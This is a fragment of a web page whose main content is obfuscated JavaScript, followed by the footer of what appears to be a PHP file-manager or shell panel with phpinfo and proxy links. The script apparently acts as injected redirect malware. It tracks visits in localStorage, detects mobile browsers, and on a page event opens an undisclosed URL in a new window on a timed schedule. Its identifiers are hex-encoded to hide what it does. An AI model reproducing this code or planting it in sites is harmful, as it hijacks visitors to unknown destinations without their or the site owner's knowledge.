_0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.07 |
proxy
|
phpinfo
|
Settings